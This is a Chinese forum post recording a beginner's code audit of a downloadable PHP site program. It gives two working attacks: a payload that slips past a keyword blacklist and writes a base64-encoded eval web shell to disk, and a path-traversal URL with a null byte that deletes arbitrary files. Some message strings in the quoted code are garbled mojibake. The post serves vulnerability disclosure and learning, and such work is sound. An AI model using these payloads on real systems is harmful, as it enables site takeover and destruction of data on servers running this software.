本帖最后由 王珂 于 2015-3-18 22:13 编辑
刚开始学代码审计,也算个记载吧
===========================
作者:iceforce
论坛:www.cnhonker.com
博客:www.isbug.net
===========================
程序下载地址:http://down.chinaz.com/soft/34668.htm
在此程序中由于不牵涉到SQL数据库,所以不存在SQL注入的问题,但是存在任意删除,以及直接getshell的问题
首先是getshell的问题
程序代码位于:admin/replace.php第46-56行
[PHP] 纯文本查看 复制代码 }elseif ($id=='save'){
$con=get_magic(trim($_POST['keyword']));
if(@preg_match("/require|include|REQUEST|eval|system|fputs/i", $con)){
ShowMsg("���зǷ��ַ�,����������",'-1',2000);
}else{
write($file,$con);
ShowMsg("��ϲ��,�ijɹ���",'replace.php',2000);
}
}
?>
可以看到程序对于提交过来的keyword只过滤的require|include|REQUEST|eval|system|fputs这几个关键词,常见的函数过滤了,但是可以写入一个文件
登录之后在http://127.0.0.1/code/1/admin/replace.php页面写入
[PHP] 纯文本查看 复制代码 <?php fwrite(fopen('./1.php', 'w'),base64_decode('PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg='));?>
然后访问http://127.0.0.1/code/1/data/keyword.php就会在data目录下生成1.php的小马
任意删除文件
漏洞位于admin/caiji_config.php文件里面第10行-16行
[PHP] 纯文本查看 复制代码 $id=isset($_GET ['id'])?$_GET ['id']:'';
$ac=isset($_GET ['ac'])?$_GET ['ac']:'';
if($ac == 'del') {
$file=VV_DATA.'/config/'.$id.'.php';
print($file);
if(@unlink($file)) ShowMsg("��ϲ��,ɾ���ɹ���",'caiji_config.php',2000);
}
可以看到对id并没有进行有效的过滤
访问
http://127.0.0.1/code/1/admin/ca ... id=../config.php%00
即可删除data目录下的config.php文件 |